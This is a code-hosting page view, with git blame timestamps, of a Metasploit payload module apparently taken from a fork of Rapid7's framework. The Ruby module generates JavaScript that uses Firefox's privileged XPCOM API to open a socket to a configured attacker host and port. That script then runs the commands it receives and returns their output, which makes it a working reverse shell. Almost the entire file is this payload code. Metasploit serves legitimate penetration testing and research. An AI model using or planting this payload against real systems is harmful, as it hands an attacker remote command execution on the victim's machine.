Files
metasploit-gs/modules/payloads/singles/firefox/shell_reverse_tcp.rb
T

72 lines
2.2 KiB
Ruby
Raw Normal View History

2014-01-02 02:09:16 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-01-02 02:09:16 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
2014-05-21 15:32:29 -05:00
require 'msf/base/sessions/command_shell_options'
2014-01-02 02:09:16 -06:00
2016-03-08 14:02:44 +01:00
module MetasploitModule
2014-01-02 02:09:16 -06:00
2015-03-09 15:44:14 -05:00
CachedSize = :dynamic
2014-01-02 02:09:16 -06:00
include Msf::Payload::Single
2014-01-02 02:20:54 -06:00
include Msf::Payload::Firefox
2014-01-02 02:09:16 -06:00
include Msf::Sessions::CommandShellOptions
2014-01-03 18:23:48 -06:00
def initialize(info={})
2014-01-02 02:09:16 -06:00
super(merge_info(info,
'Name' => 'Command Shell, Reverse TCP (via Firefox XPCOM script)',
2014-01-13 13:57:34 -06:00
'Description' => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},
2014-01-02 02:09:16 -06:00
'Author' => ['joev'],
'License' => BSD_LICENSE,
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
2014-01-03 18:23:48 -06:00
'PayloadType' => 'firefox'
2014-01-02 02:09:16 -06:00
))
end
def generate
2014-01-03 18:23:48 -06:00
<<-EOS
(function(){
window = this;
2014-01-03 18:23:48 -06:00
Components.utils.import("resource://gre/modules/NetUtil.jsm");
var host = '#{datastore["LHOST"]}';
var port = #{datastore["LPORT"]};
2014-01-02 02:09:16 -06:00
2014-01-03 18:23:48 -06:00
var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"]
.getService(Components.interfaces.nsISocketTransportService);
var socket = socketTransport.createTransport(null, 0, host, port, null);
var outStream = socket.openOutputStream(0, 0, 0);
var inStream = socket.openInputStream(0, 0, 0);
2014-01-02 02:09:16 -06:00
2014-01-03 18:23:48 -06:00
var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
.createInstance(Components.interfaces.nsIInputStreamPump);
pump.init(inStream, -1, -1, 0, 0, true);
2014-01-02 02:09:16 -06:00
2014-05-21 15:32:29 -05:00
#{read_until_token_source}
2014-01-03 18:23:48 -06:00
var listener = {
onStartRequest: function(request, context) {},
onStopRequest: function(request, context) {},
2014-05-21 15:32:29 -05:00
onDataAvailable: readUntilToken(function(data) {
runCmd(data, function(err, output) {
if (!err) outStream.write(output, output.length);
});
2014-05-21 15:32:29 -05:00
})
2014-01-03 18:23:48 -06:00
};
2014-01-02 02:09:16 -06:00
2014-01-03 18:23:48 -06:00
#{run_cmd_source}
2014-01-02 02:09:16 -06:00
2014-01-03 18:23:48 -06:00
pump.asyncRead(listener, null);
})();
2014-01-02 02:09:16 -06:00
2014-01-03 18:23:48 -06:00
EOS
2014-01-02 02:09:16 -06:00
end
end